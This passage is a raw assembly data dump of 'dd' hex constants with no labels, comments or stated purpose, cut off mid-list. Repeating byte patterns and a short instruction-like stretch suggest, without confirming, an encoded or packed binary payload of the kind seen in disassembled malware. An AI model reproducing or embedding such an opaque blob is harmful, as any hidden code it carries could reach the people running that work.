0A0FF47DFh, 0DF5FEF98h, 16818C47h dd 0C0A5AE83h, 0D3464801h, 57EA55BAh, 0B2BAD1E8h, 47DF5FD5h dd 0A8089BA6h, 49F7D750h, 0C336873h, 0DDBE198Bh, 0D568E14Ch dd 0F845CAC4h, 0B9408001h, 71E543B6h, 4EC1CDDEh, 5439F219h dd 20B386BBh, 9D1524C0h, 34ADC153h, 2EEBA25Bh, 8342AD62h dd 3F190C7Bh, 0D1646F54h, 0F441CEC0h, 0AAE6335Bh, 0FCC5FA65h dd 9F477C93h, 0DBB32EB3h, 404EE734h, 3D39ACFh, 3D000000h dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh, 83D4DB10h dd 0C8904ECh, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 3EF9h, 52240C89h dd 2EDBE56h, 0F2897E35h, 7B71B85Eh, 0D031782Dh, 0C8B545Ah dd 4C48124h, 55000000h, 6989C589h, 242C8B08h, 4C481h, 34FF0000h dd 0C4835924h, 2434FF04h, 4C48358h, 0FA02ACE9h, 0D3560AFFh dd 3B590111h, 108712B4h, 534381B9h, 187DE5B8h, 0FFC50306h dd 0B2F977E0h, 42EBD554h, 7A49D172h, 6E6A660Fh, 269C267h dd 34320D55h, 7D81C12Ah, 582BF73Ch, 8872CC7Eh, 86BDA071h dd 0A2455C10h, 0B0AC73Bh, 605E5302h, 26BF5DB1h, 0D056AEB1h dd 6AF11181h, 6898EAD4h, 4051B7FCh, 6EF58392h, 325E8089h dd 0B354E3B1h, 0DBF5057Ah, 3256AEBDh, 8DB61A71h, 0B673C7B9h dd 36615ACBh, 5256EAD0h, 32566559h, 7C3FFEB1h, 0BAB13A72h dd 1E009346h, 0AE4075C2h, 32DFA435h, 6D56D5B1h, 539755BEh dd 3252F1BEh, 0B936BAB1h, 14BE3C7Fh, 0CA56ACE8h, 32AF57B1h dd 0F7D6CBB1h, 53D060D0h, 0BF59EAB1h, 325675B9h, 325438BEh dd 53365DB1h, 34BFAEB1h, 185657B1h, 7691DC28h, 6F116634h dd 3D975CB1h, 32567539h, 0B359DBB1h, 32565DB4h, 83A62FD7h dd 3256360Fh, 6D414C48h, 8936D5B1h, 36F5948h, 32567C59h dd 32734AB1h, 8B536240h, 6D05F29Dh, 325636EBh, 3D56AB4Dh dd 3256D435h, 325616B1h, 0CB56754Dh, 0BD59BAB1h, 32565DBDh dd 325028BEh, 0B65957B1h, 3256ABB1h, 325D53BEh, 0B236EAB1h dd 0B659966Ah, 3256BAB1h, 52565DD0h, 32378400h, 3246BEB1h dd 359ABB1h, 8013B3EBh, 21B6FBC1h, 0A946EC3Ch, 325621A7h dd 32565A58h, 0E9D24AB1h, 3EB8E103h, 0B859ABB1h, 3256D5BCh dd 3256E258h, 0D7B6C6B1h, 15F773FBh, 3D565DADh, 3256A832h dd 533637B1h, 5237CAD1h, 3256DA59h, 635AEBB1h, 0DA0B91Ch dd 9E5B3501h, 4D0EAC12h, 3256A858h, 0AC16E3B1h, 6951CF84h dd 3256DB58h, 4ABE0B1h, 0FB0520C1h, 4AC55DE9h, 53BC55FCh dd 0B359AEB1h, 325657BDh, 325024BEh, 0B159D5B1h, 3256EAB1h dd 3FBF75B1h, 6356BAB1h, 0CD8BA5E0h, 0B17267B6h, 8BA5742Dh dd 8D36ABB1h, 183F66D4h, 32561FD0h, 0F3A4F4D1h, 53759B80h dd 32AE5DB1h, 325947B1h, 0B18A57B1h, 0F05D2FA5h, 0E1B85231h dd 6A6CFE18h, 5256754Fh, 0DA9031D7h, 32565DA1h, 5ACB3CD4h dd 0DE34C710h, 3B4B4FA0h, 0B676D3B9h, 43160B30h, 530F14F8h dd 0B359BAB1h, 32565DB0h, 0DB56AE49h, 325657B7h, 0F871C44Fh dd 325610F0h, 3256E84Dh, 325675B1h, 47D9922Dh, 9A241735h dd 0A820C176h, 32113A0Ch, 3D36CBB1h, 0C2DD030Eh, 6801B8D0h dd 0EAAF14E9h, 3756BFB6h, 3F565FB1h, 10569EB1h, 3157EAB1h dd 8B6CFC00h, 0EA26F61Ah, 396E08D6h, 0C75675D0h, 23BFBAB1h dd 40565DB1h, 7DFBBC5Bh, 0DF812B3Ah, 0E86B38ABh, 7F4B95F8h dd 32AAEAB1h, 33D97AB1h, 0C756BAB1h, 32A35DB1h, 3ADEA1B1h dd 3D5657B1h, 3256A937h, 3D37B5B1h, 3256F23Bh, 32459CB1h dd 0BA02BAB1h, 0B1B0FF0Bh, 0C6D9517h, 0A5D02CCAh, 0B3800EFh dd 5256D5A7h, 3256F958h, 48F065B1h, 47469C8h, 462B47FEh dd 3638D245h, 852D7D2Ah, 3256CA48h, 0CB56D7E6h, 3001EAB1h dd 0AB5675B1h, 0F30903A7h, 0E2A855E0h, 0DFEB4F1h, 32F65CC3h dd 324742B1h, 3A12D5B1h, 2637CAh, 0E98535EEh, 0A287CDE2h dd 0A2071BC3h, 3256A358h, 0B590F6B1h, 11047605h, 4DC80C91h dd 62067FFDh, 0B93015E3h, 5309EA4Fh, 3D366CBEh, 6800500Eh dd 0A20E0DD0h, 1F4C635h, 0BDB8BC41h, 99ACCFADh, 62062DEBh dd 325153E3h, 12755DB1h, 7E293068h, 0DB675824h, 3256ABB7h dd 7FB2A2C7h, 6A0CF9B3h, 32567521h, 2154F755h, 5D1814E1h dd 0B90CABCDh, 85C50FEBh, 324242EBh, 73AD5B1h, 830ED17Bh dd 0DF526227h, 0DB260993h, 97CA52DFh, 53CB85CBh, 60C60FEBh dd 3256AC58h, 0B5656B1h, 0C77A35CFh, 533644BEh, 6A0CE2EBh dd 0C3CE2626h, 1F12F967h, 1BE6A4D3h, 0D78AE41Fh, 76DFBE0Bh dd 0DB36EE95h, 325675A3h, 0ABB659A3h, 675A62EFh, 0E3AEF5DBh dd 3FF26087h, 21BF7873h, 1D56D5B1h, 794C2F8Dh, 15B03499h dd 0F124C765h, 2DE824F1h, 6A379BDDh, 85E006C9h, 61142695h dd 9DD85C21h, 359AF0Dh, 533627E1h, 3ABF8BBEh, 0F2565DB1h dd 0DEC99048h, 68ED1D04h, 6A0EF1E9h, 0FDC762B1h, 73723DCCh dd 0DBEB8B2Eh, 30EC52F6h, 3D565D55h, 3256A732h, 5EEF37B1h dd 0B82792EAh, 3256B466h, 0C756EA48h, 0B75975B1h, 3256BAACh dd 3241DBBEh, 20BFAEB1h, 825657B1h, 15592A7Ch, 73294B1Bh dd 0B1C45111h, 0E46FDB03h, 5256BA66h, 53AE4D7h, 0B330CED0h dd 84C43050h, 3256CA5Ah, 5256D549h, 53063831h, 0BA5975B1h dd 3256BAA8h, 32564958h, 8A3079B1h, 3CAE1B30h, 6E7C69B4h dd 9F905C80h, 26D3030Ah, 3D567547h, 3256A83Fh, 3ED752B1h dd 0DB56AEB1h, 325657B6h, 0B088D51Dh, 323D67DFh, 3DD5E5B1h dd 0DB5675B1h, 3256BABBh, 99766E88h, 0FBBE2209h, 32567C26h dd 3256BB58h, 48AFE5B1h, 0D3A0CC13h, 599D408Eh, 6E6C9AEDh dd 3D565D10h, 3256A330h, 325EBEB1h, 251CABB1h, 0D39A33D4h dd 32564504h, 0C2DD13D1h, 0D6266D30h, 32376984h, 0B059CEB1h dd 325657B7h, 0ECB45A30h, 0E1D7924Ch, 116630E5h, 525675D0h dd 92F503D7h, 8B363C4Dh, 33CE9ECEh, 0FE58660Fh, 3256CACFh dd 3256D258h, 0A3DB11B1h, 8207AC14h, 34BFBAB1h, 23565DB1h dd 0EAF68666h, 52565786h, 3256A758h, 5D4E4B1h, 5E332F10h dd 0C6909B61h, 0C3E9B567h, 0CA565DD0h, 0C7A3AEB1h, 0B93657B1h dd 28D0A476h, 0DA56D5B1h, 3256EAA5h, 6FCCE31Bh, 0C136A0B9h dd 1FCAA8D5h, 522655C6h, 78249B58h, 0BD59CAE8h, 3256D5BCh dd 0A92A52D1h, 0B4593949h, 3256BAB1h, 52565DD0h, 5816E40Ah dd 0E8D731FDh, 5237FE1Ch, 53A462BEh, 5236EAB1h, 32567359h dd 5D5CB9B1h, 6AA6B102h, 54370602h, 3237813Ah, 28DDA4B1h dd 5256D5B1h, 25996BD7h, 32589CD6h, 0F1D5BAB1h, 0C60C72BBh dd 83DF6CFBh, 53AF8ECCh, 0CE56ABD0h, 3DBFD5B1h, 4456EAB1h dd 0D883E39Eh, 0ACC881EAh, 2182E03Ah, 3256D190h, 32564458h dd 13ADDDB1h, 0E249FFE6h, 0D2712FCAh, 0D4EF6A78h, 6E44E959h dd 0BC595DB1h, 3256AEA6h, 32564558h, 4FBE2BB1h, 2F3E0CBBh dd 9316F714h, 4E397849h, 3250306Ah, 33DA52B1h, 0CB56AEB1h dd 0DA3657B1h, 3256ABB4h, 0D2DA77Eh, 3EBFB21Eh, 0F65675B1h dd 71B132C6h, 286DCA68h, 53B6C4A0h, 0BB5957B1h, 3256ABB0h dd 5256D544h, 325463BEh, 533675B1h, 324137BEh, 20BF5DB1h dd 2856AEB1h, 0E3853E2h, 3CA6ECF0h, 8C32333Ch, 0E778FD8Ch dd 32561403h, 324553D1h, 0DC795DB1h, 0A433A95Ah, 0FA043872h dd 1D137EA2h, 0DC2F2A5Eh, 32568B7Ch, 0BD5925D1h, 3256BAB1h dd 32563CE9h, 0DB56AE44h, 325657B6h, 91399194h, 5274207Bh dd 32576DBEh, 89A375B1h, 719C83CEh, 3D565DD0h, 3256AF3Fh dd 3256AFB1h, 325A2DBEh, 0B959D5B1h, 3256EAB7h, 3256F8BEh dd 3256BAB1h, 3D565D4Dh, 3256A336h, 0B35937B1h, 3256ABB1h dd 2A9654D7h, 32568B51h, 0DB567544h, 3256BAB9h, 7478EB43h dd 0D7164B4h, 0BA5957B1h, 3256ABAFh, 324E53BEh, 21BFEAB1h dd 0A05675B1h, 0E6F9B709h, 8D5B15F4h, 0DAEBD9EEh, 12917421h dd 3256CB4Eh, 324457BEh, 3FBFEAB1h, 265675B1h, 4B79854Ah dd 0B9BFF48Fh, 0F1135FB7h, 0BF5957B1h, 3256ABB6h, 32575BBEh dd 52A3EAB1h, 32567359h, 698ECEB1h, 874ADD40h, 0E4DDF5D9h dd 0DB5657D0h, 3256ABB7h, 941AF2A0h, 0B936E50Fh, 539AFF42h dd 0B936BAB1h, 32563C41h, 325A22BEh, 35BF57B1h, 0C656ABB1h dd 0A9017DD3h, 32564ECEh, 32567A58h, 0D355ECB1h, 22045A33h dd 0DB87006Bh, 0DE41ECF2h, 0E8E1A4D1h, 325356BEh, 0B330EAB1h dd 53C19852h, 32AABAB1h, 3253B4B1h, 7B11AEB1h, 52AAC41Ah dd 0B0945C30h, 0B459C180h, 3256EAA6h, 32566459h, 8CDBECB1h dd 98EEB415h, 71D8DEF8h, 83207347h, 530C717Dh, 3BBFD5B1h dd 0C056EAB1h, 30211B70h, 0EBC9284Eh, 52A35DB1h, 0F0E1A1D1h dd 325636D0h, 3256BF58h, 0EE5965B1h, 0FD301E27h, 16603CC9h dd 0AE9CE207h, 86242349h, 0DB56AE3Ah, 325657B9h, 8E0360EEh dd 0B144570h, 0B1598AD1h, 325675B1h, 70C205D7h, 0ECDD3BD0h dd 3D56AED0h, 32565A38h, 325E42B1h, 3EC3D5B1h, 0DBEF82B4h dd 3256200Ah, 3256B358h, 76FFFEB1h, 9C37F746h, 3256235Fh dd 325B42D1h, 636BD5B1h, 629DF6DDh, 0A60060B5h, 0CEF6202Ah dd 3FD752D0h, 5256AEB1h, 0C382BA08h, 32D1A4E9h, 5356D5B1h dd 32AAEAB1h, 3DBF15B1h, 6056BAB1h, 0E8DBE744h, 158FDDC8h dd 4A2595B5h, 0F5D7461Ch, 765D41DEh, 0F3D78AD0h, 25AD3320h dd 0DB56BAD0h, 32565DB7h, 0A750C91Dh, 32560600h, 3256A258h dd 4B7517B1h, 5093263Bh, 32568BBEh, 325730BEh, 32AE5DB1h dd 324247B1h, 704E57B1h, 69B834C0h, 0F1ED1A8Eh, 0FD0ECB33h dd 9803348Bh, 32568655h, 53090ED1h, 3EBFAEB1h, 5B5657B1h dd 0B9B6B2AEh, 70E06B3Eh, 32C4025Eh, 88AA15B1h, 409795A0h dd 3256A5D0h, 325721BEh, 32AF57B1h, 325E42B1h, 0CB50D5B1h dd 4F92EFB1h, 3256FAFFh, 325E52D1h, 1E015DB1h, 0BD3C78B3h dd 6AAA8C16h, 53FB5931h, 0B959D5B1h, 3256EABBh, 32567058h dd 0D0D89BB1h, 32566228h, 0B930CED1h, 32D45840h, 5356ABB1h dd 32562DD0h, 325E6FBEh, 3D3675B1h, 85596A06h, 32563C70h dd 0CB56AE44h, 32AE57B1h, 33D3A4B1h, 0C756D5B1h, 0B236EAB1h dd 3237AD7Fh, 33D5B5B1h, 0CE565DB1h, 34BFAEB1h, 0B15657B1h dd 8EBE227Ah, 0DB56D5DBh, 3256EAB9h, 6D20AF79h, 0B6890215h dd 0BE595DB1h, 3256AEBBh, 32D058D1h, 5256ABB1h, 3256B4D0h dd 0DB56EA48h, 325675BDh, 0BBCD43F2h, 27E851A9h, 0C6953B39h dd 32AE57B1h, 21D9A4B1h, 0DB56D5B1h, 3256EABFh, 0E013B340h dd 2A8A8335h, 17E2C958h, 3256EA6Dh, 36EE31D1h, 228C2ABCh dd 535A370Ah, 0B336EAB1h, 0F25A1C62h, 3256DBFAh, 325BDDBEh dd 3ABFAEB1h, 5657B1h, 98EFF0D1h, 3201CB81h, 0D8D68AB1h dd 0E3DD1381h, 0DB56BAD0h, 32565DA5h, 0A5AD425Dh, 6D92F8CCh dd 0F9B12B53h, 0CF6E410Ch, 182B22DDh, 0CEAA75B1h, 32AABAB1h dd 3251B4B1h, 0A5E4AEB1h, 0C737F91Bh, 0CB56AB26h, 0BC59D5B1h dd 3256EABAh, 32567358h, 51CFC4B1h, 326D1406h, 325A47B1h dd 977857B1h, 36940C51h, 0ED17B14Eh, 3256A2E6h, 0DB56754Dh dd 3256BABFh, 0F1548EE8h, 46B390Ah, 0A3DC2B01h, 32561115h dd 32473CD1h, 8CEAEAB1h dd 43AA3974h, 46803E80h, 0C87142A6h, 54EF0C0Eh, 80FB8430h dd 0CB56ABD0h, 0B159D5B1h, 3256EABFh, 32DE7AD1h, 3D56BAB1h dd 32565D3Dh, 3256CFB1h, 3244D4BEh, 3FBFABB1h, 1756D5B1h dd 0E197BB49h, 5CE802FBh, 193A7C27h, 3EBF5DB1h, 3956AEB1h dd 0A1752BA6h, 1A568D25h, 32CF6202h, 325B03B1h, 27D975B1h dd 34EF459Eh, 18931936h, 3223A254h, 3ED258B1h, 3D56ABB1h dd 3256D331h, 32D4E5B1h, 525675B1h, 325036BEh, 0B2595DB1h dd 3256AEB1h, 53ADE0BEh, 3BBFABB1h, 3356D5B1h, 0B180A737h dd 0B5D32FE7h, 0B059BAB1h, 32565DB9h, 32542FBEh, 533657B1h dd 39BFABB1h, 9356D5B1h, 99056567h, 0EBF0343Ch, 3256B4EDh dd 54A4D6D1h, 53E4BC0Eh, 3250D2BEh, 6236ABB1h, 53BA5FEFh dd 0B936EAB1h, 34D47A68h, 3D56BAB1h, 32565D33h, 3256CFB1h dd 30D058D1h, 0B956ABB1h, 32AFB469h, 2ADAE5B1h, 0DB5675B1h dd 3256BAA2h, 2AE4E040h, 0ABFFE05Eh, 1463A7C5h, 4F94DDB6h dd 327C9DDDh, 35DFE5B1h, 3D5675B1h, 3256BB38h, 0BE59A5B1h dd 3256AEBDh, 3250D9BEh, 0BB59ABB1h, 3256D5B1h, 3D36EAB1h dd 0FAD78B0Eh, 7F44A8F1h, 52565DD0h, 32D2A1D1h, 535657B1h dd 7C992AD7h, 32AAB4A2h, 325D03B1h, 0D86675B1h, 6ECEBD59h dd 63127E2Eh, 0BF59CEC4h, 325657B1h, 32D4A4E1h, 6856D5B1h dd 0CA56EAD0h, 3D56754Dh, 3256BB35h, 3256A8B1h, 325021BEh dd 3D3657B1h, 53A3600Eh, 32A3D5B1h, 52AE8AB1h, 54548631h dd 5BA06330h, 32AF3CD0h, 36DDA1B1h, 525657B1h, 3237CAD1h dd 32562DB1h, 0D6896BD1h, 3D71E7E2h, 3256B837h, 53373DB1h dd 5256AE48h, 3242BFD1h, 1313ABB1h, 58EB0C48h, 762B4095h dd 0CD89ACCAh, 0DF0B0B58h, 0B20F6769h, 0DB37AF6Dh, 325657BDh dd 3257AC9h, 0F7855F47h, 9B2171BEh, 525675D0h, 989D3BE3h dd 68706B64h, 53794A31h, 0DA3657B1h, 3256ABA0h, 1CD86057h dd 0BF7E50FFh, 788303E1h, 0CEF49268h, 32D452FEh, 6C56AEB1h dd 4930EED7h, 5256ABD0h, 530D6544h, 8536EAB1h, 3DD57A0Ch dd 0DB56BAB1h, 32565DBBh, 0BF04FC38h, 8D0BAC33h, 3237A45Eh dd 3ED7DAB1h, 3D56EAB1h, 3256733Ch, 32DEB5B1h, 32565DB1h dd 35D5A1B1h, 3D5657B1h, 3256AA34h, 325620B1h, 5256EA4Dh dd 22BF7E00h, 1C56BAB1h, 0BC19B730h, 3FDD6011h, 90E7E341h dd 530CF05Ah, 3256C458h, 50B4CBB1h, 2E79A9A7h, 0F3C49B4Dh dd 640251BFh, 32568284h, 52565744h, 3256CA44h, 32562C4Dh dd 0DB56EA48h, 325675A3h, 3A7FB4A5h, 288F6197h, 9BFEBAD6h dd 2CF73992h, 32565D27h, 324458BEh, 0BB59EAB1h, 325675BDh dd 3256BD58h, 0B64C39B1h, 75CD51F0h, 613657B1h, 3256A159h dd 0C84B52B1h, 0EF5B4C4Ch, 6D032593h, 323742EAh, 33D852B1h dd 0CE56AEB1h, 0B85957B1h, 3256ABBDh, 32505FBEh, 0BC59EAB1h dd 325675B1h, 32A3BAB1h, 21D752B1h, 0DB56AEB1h, 325657BFh dd 760CF41Dh, 0DD7EA9DFh, 0DBFEBEAFh, 3256C2F5h, 32573ABEh dd 0CBAE5DB1h, 0B459AEB1h, 325657BBh, 0DE212D1h, 0F4D6F2EFh dd 32568B03h, 0C8E97AD1h, 3256AA59h, 0B77650B1h, 977643A4h dd 76622953h, 829777A1h, 6B046420h, 325616D0h, 3257F3BEh dd 32AABAB1h, 3256A5B1h, 0CBE4F9D1h, 3259BEE8h, 0D0A8ABB1h dd 9FA7AB58h, 0BA90C05Dh, 0CDE0D0DDh, 3256DB97h, 325ED3BEh dd 0B759AEB1h, 325657B3h, 3256CAD1h, 3256C658h, 0AB8BB0B1h dd 0E5A04131h, 725FFFC6h, 43FD2A6Ch, 1E399337h, 32AE57B1h dd 324642B1h, 0C5AED5B1h, 3E349A9Ch, 5F903C59h, 0D568B513h dd 325622D8h, 3D56AE44h, 3256563Ch, 325652B1h, 0ECD7B3D1h dd 0F8DD93EEh, 525675D0h, 0CA05E0E6h, 32563CE8h, 528725D1h dd 2BAF8130h, 5337DA6Dh, 77E029D1h, 3D56EAD0h, 32567D3Bh dd 30D1B5B1h, 52565DB1h, 325D47D0h, 15FC57B1h, 0EE2F566Eh dd 0BB3CD5E9h, 3D56EA18h, 3256743Fh, 325646B1h, 32565258h dd 0BFB943B1h, 43D9338Ch, 6C3A8013h, 54093D23h, 32A3EAB1h dd 32539CB1h, 0D9ADBAB1h, 32FE42C3h, 22BF52B1h, 0B95657B1h dd 96D2A4D9h, 76CB037Eh, 253CEAAh, 32808752h, 20BF4FB1h dd 0B1565DB1h, 18E489D6h, 8FE1B09Dh, 0C8B51319h, 2F85D7F2h dd 0C756EADFh, 3D3675B1h, 3256BC35h, 0D490DCB1h, 8C284449h dd 1AE7C07Dh, 0B459CBD0h, 3256D5B2h, 53A761D7h, 0B45975B1h dd 3256BAB0h, 3D565D4Dh, 3256BF3Fh, 325ABEB1h, 9D7CABB1h dd 0BAE8DC1Ah, 0C7B87BC5h, 325656DFh, 0DB56BA4Dh, 32565DB7h dd 0B50ADDCh, 32563E8Fh, 32512DBEh, 0B459D5B1h, 3256EAB0h dd 0DB567548h, 3256BAA0h, 9AA60C28h, 9093A264h, 0BAF9686h dd 3C27E84Eh, 0DB56D5CDh, 3256EAB8h, 0B412C700h, 9346A5DBh dd 0DB565D19h, 3256AEA2h, 8138D2FAh, 0C453118Ch, 10A5A3B7h dd 67870827h, 3269980Bh, 23BEDAB1h, 0EE565DB1h, 626105BCh dd 5ACC04E1h, 8A3F9D75h, 60A3AF9Bh, 68915DBEh, 32561449h dd 0DBBC0CD1h, 32565DA2h, 0A98AECB4h, 8C5975F3h, 2BE19887h dd 0D2F63579h, 538C7B79h, 325D9CD1h, 0C2AFBAB1h, 377CB831h dd 811DC257h, 3246BF39h, 0BE3DABB1h, 8F8DF07Ch, 0DC101355h dd 9008C92Dh, 3CBEECD3h, 7565DB1h, 119D2354h, 7BD52861h dd 0DB79446Eh, 53098E30h, 0B859EAB1h, 325675A8h, 3256AE58h dd 0D78E93B1h, 0F144D643h, 412C373Ah, 0D0D12F21h, 0A334EAA9h dd 85598A7Dh, 0B159157Fh, 3256BAB1h, 53374106h, 3FBFAEB1h dd 0E45657B1h, 42404551h, 179DDAC4h, 0D8DA5838h, 32566758h dd 26002FB1h, 221D4678h, 1BEC278Ch, 0C3B3D8Dh, 3222FD04h dd 35DBDAB1h, 3D56EAB1h, 32567431h, 325643B1h, 0DB565D49h dd 3256AEBCh, 0E4A72E79h, 300BEFEEh, 633F646Ch, 0CA56EA51h dd 0BF5975B1h, 3256BAAFh, 324ED5BEh, 21BFAEB1h, 9A5657B1h dd 2DF9F5C2h, 72614E7Eh, 0D96FA78Ah, 30514779h, 3256925Eh dd 3247D1BEh, 3EBFAEB1h, 615657B1h, 55A7F392h, 0FBB86844h dd 32D9665Ch, 0BF5915B1h, 3256BAB1h, 5395D6D7h, 5436AEB1h dd 0EBCAB830h, 325727BEh, 53AED5B1h, 0BE59EAB1h, 325675BFh dd 32D3B5D1h, 3D565DB1h, 3256AE33h, 0B15936B1h, 3256ABB0h dd 0DB56D548h, 3256EAB4h, 40F1A5AAh, 0DB56BA32h, 32565DB8h dd 8F59D960h, 96F29C81h, 3D56ABDEh, 3256DA38h, 325C03B1h dd 0EA2775B1h, 0EA4F5D1Fh, 133BC2F7h, 0BA59AEB1h, 325657B3h dd 3256CAD1h, 5256D548h, 3256E759h, 0EF789AB1h, 24425B4h dd 0A846CFA7h, 6DAA6C26h, 539EE0BEh, 3256A658h, 0AF6A1FB1h dd 45A62C53h, 8C30CD5h, 3256204Eh, 325ED3BEh, 0B059AEB1h dd 325657B3h, 3256CAD1h, 325751BEh, 32AAEAB1h, 21D87AB1h dd 0DB56BAB1h, 32565DBFh, 21830723h, 7C28CBE1h, 0B5B4CFFBh dd 32561411h, 0DB56EA44h, 325675BCh, 70C3CB89h, 6746AEFDh dd 0C2D6DBC2h, 52565750h, 3ABE5B3Ah, 0A056D5B1h, 0BEFC274Ah dd 3D9A5E73h, 3256BA33h, 0DB3707B1h, 3256AEBBh, 37D88DC1h dd 70CD77F3h, 3256DA93h, 3256E358h, 9A57EBB1h, 34CAC23Dh dd 3256AAFDh, 32512BBEh, 0B55957B1h, 3256ABB0h, 0CE56D54Dh dd 0B959EAB1h, 325675BDh, 325034BEh, 0BF595DB1h, 3256AEB1h dd 0B33657B1h, 0AE975358h, 0BAB55482h, 530C58D2h, 3FBF75B1h dd 0C256BAB1h, 0E1808028h, 0B44E9D20h, 0D5093857h, 0B336ABB1h dd 9C1ABC61h, 32568BB1h dd 32566158h, 0C1304AB1h, 0DB733623h, 0F044DFEEh, 115BB3B0h dd 0A93ABD43h, 5256D583h, 3256E159h, 5539CBB1h, 6A722A62h dd 8A229C89h, 325621BEh, 0B30C57B1h, 5CE2AE77h, 3256B4BCh dd 325767BEh, 3DAA75B1h, 3256A933h, 3258B4B1h, 609AAEB1h dd 1972A686h, 82B653AFh, 226BB457h, 32A3EAB1h, 0B15989B1h dd 3256BAAAh, 3247B4D1h, 0BAABAEB1h, 99064FFCh, 3EA07039h dd 8FF626EDh, 5468DB9Ah, 3237AA3Ah, 325646B1h, 32565A58h dd 53ABB9B1h, 0DEF52E9Bh, 0B336ABB1h, 0E3F0EA73h, 32DFE58Dh dd 535675B1h, 32AABAB1h, 3259B4B1h, 0DEB3AEB1h, 63D15E93h dd 0C11FD467h, 360D884Eh, 0DB56EA87h, 325675BFh, 15DABF49h dd 7465CAB0h, 8CD86BC1h, 23BF9716h, 0B756ABB1h, 16560738h dd 0F87898F9h, 36A2C923h, 0AFF0B708h, 0B4595DB1h, 3256AEBDh dd 3250D4BEh, 0B759ABB1h, 3256D5B1h, 0DB36EAB1h, 325675BAh dd 0EED60B53h, 0CB72D260h, 53FB69B7h, 21BF57B1h, 0EE56ABB1h dd 1980B0F6h, 7CA0B7A1h, 0E573A4E3h, 1E26CD2Dh, 32560DF4h dd 3D56AE4Dh, 32565639h, 325652B1h, 3BDFDA44h, 5256EAB1h dd 549CFED7h, 532DD50Eh, 3EBF5DB1h, 0D856AEB1h, 0A218F314h dd 5DB29018h, 32344D9Ch, 325303B1h, 89AD75B1h, 327FBF9Eh dd 325BB4B1h, 6B84AEB1h, 5D743547h, 0F84B3C2Ah, 32629E1Eh dd 325A03B1h, 0D73575B1h, 47140E5Ah, 79EDCAE8h, 32566C41h dd 588CD6D1h, 8B05F306h, 5B3A95ECh, 0CA56EAD0h, 0B05975B1h dd 3256BABDh, 3250D7BEh, 0B359AEB1h, 325657B1h, 0CBAFABB1h dd 38BFD5B1h, 3156EAB1h, 0DB5734DFh, 419B8022h, 3D565D5Ch dd 3256A232h, 0B35937B1h, 3256ABB1h, 66C36BD7h, 0CB56EAD0h dd 34BF75B1h, 7B56BAB1h, 98F92FCh, 0DB56AE85h, 325657BDh dd 3F7C5627h, 7DB773A8h, 354045AEh, 6786CBD1h, 3237E111h dd 35BF3DB1h, 5856AEB1h, 80524012h, 15EC5808h, 533C40A2h dd 0B659EAB1h, 325675A6h, 3256A858h, 0A54DA8B1h, 3E7B352Ch dd 2540280Ch, 1B318E10h, 322B4376h, 324503B1h, 0A7D75B1h dd 2E23ADEBh, 71425DD3h, 209E6585h, 0F1AD1FC2h, 0DB56ABF3h dd 3256D5A5h, 2346050Bh, 9A4558B1h, 6654708Fh, 422A8B0Dh dd 47AC54Ah, 543657B1h, 65677030h, 3256C658h, 0BB3790B1h dd 0F9908A27h, 0AF844E53h, 0D391B99h, 0A2829202h, 0DB5657D0h dd 3256ABB9h, 0DF1CF4F5h, 0E799137Eh, 0B23675B1h, 0D3D7F954h dd 346EC6EAh, 5256AED0h, 3EED31D1h, 32D7A433h, 5356D5B1h dd 5256EAD0h, 325BF9BEh, 35BEBAB1h, 0F0565DB1h, 0B7BA9830h dd 0DA0D43C8h, 3256ABB9h, 0D48C0DBCh, 0F6A87EBAh, 89D1BE30h dd 530FF103h, 3D365DB1h, 3256AD3Dh, 0C1DD31B1h, 39A911E2h dd 530CD1B7h, 0BF59EAB1h, 325675A3h, 325D53D1h, 0F27F5DB1h dd 0FD15333Eh, 0FD911FCEh, 3256CA62h, 325750BEh, 52A3EAB1h dd 689BF60Ah, 325353E4h, 0E6825DB1h, 5325B999h, 0B85957B1h dd 3256ABA6h, 3256C758h, 32514AB1h, 0C76C9EB2h, 48D7A4A3h dd 550B42Bh, 32D71574h, 3259BEB1h, 0F3A7ABB1h, 0DCE82242h dd 2C9DD8F5h, 4D31FEA9h, 3D56BA21h, 32565A34h, 33D5A1B1h dd 0CE5657B1h, 5436ABB1h, 0DDD6133Ah, 32568BA4h, 0C8E17AD1h dd 539831D7h, 39BF5DB1h, 0B56AEB1h, 0DB90DA5Fh, 0BA0D4A4Bh dd 3BBF5C5Ah, 0CA56EAB1h, 5F6384E7h, 0B3B75A3Eh, 20BF5DB1h dd 8556AEB1h, 972A1632h, 0A29029F7h, 0B6B26720h, 0DCE0586Ah dd 0C75675BDh, 21BFBAB1h, 0AF565DB1h, 1DDA23BDh, 0CD0A2F7Dh dd 10BF35FDh, 5139AFD5h, 32569C1Ch, 0DB56754Dh, 3256BABDh dd 0CFFF575Ch, 0A5827FE2h, 0E50E0E3Dh, 32A3ABB1h, 325620B1h dd 325E64BEh, 0B23675B1h, 8D594966h, 32563C4Ah, 0CA56AE4Dh dd 0DB565744h, 3256ABB6h, 0EF3309E5h, 52A5857Bh, 159DF4D7h dd 3256DB31h, 34EF3BD1h, 325D46F2h, 314B57B1h, 0ADEE4F47h dd 0EB03431Eh, 6A09B9D0h, 3D5675D0h, 3256B235h, 30D152B1h dd 5256AEB1h, 3256A2D0h, 33DAA448h, 0CE56D5B1h, 0B836EAB1h dd 0B38BF577h, 3D56BAD0h, 32564537h, 0B330CEB1h, 0DB4E0E5Eh dd 3256ABBDh, 19D8FD24h, 33A06C19h, 1ABB9861h, 325643D0h dd 3258B4D1h, 6309AEB1h, 6EB851AFh, 0E4BDA424h, 0E47E18D0h dd 53200D31h, 8A3675B1h, 3131F529h, 0F3D73BD1h, 53364131h dd 3D3636D0h, 3256A835h, 0FBE1DAB1h, 3256E158h, 4B5E77B1h dd 9BAE7700h, 0E1BAF9A2h, 5256AED0h, 70ED31D1h, 32444205h dd 991BD5B1h, 0BAF3EC46h, 50D2B834h, 0DCB66CE9h, 3D232DA7h dd 7F9E2FD0h, 53119AE9h, 0DBAFABB1h, 3256D5BBh, 26F9278Fh dd 3D3DB9A1h, 3256BED0h, 3D565D48h, 3256AF3Eh, 3256ABB1h dd 0DB56AB48h, 3256D5B8h, 0BB20C61Ah, 0CE32395Ch, 325C5318h dd 5D6C5DB1h, 10A36412h, 6F25EA09h, 32A3ABB1h, 2FDADAB1h dd 5256EAB1h, 32566658h, 7EFDBEB1h, 0A36940DBh, 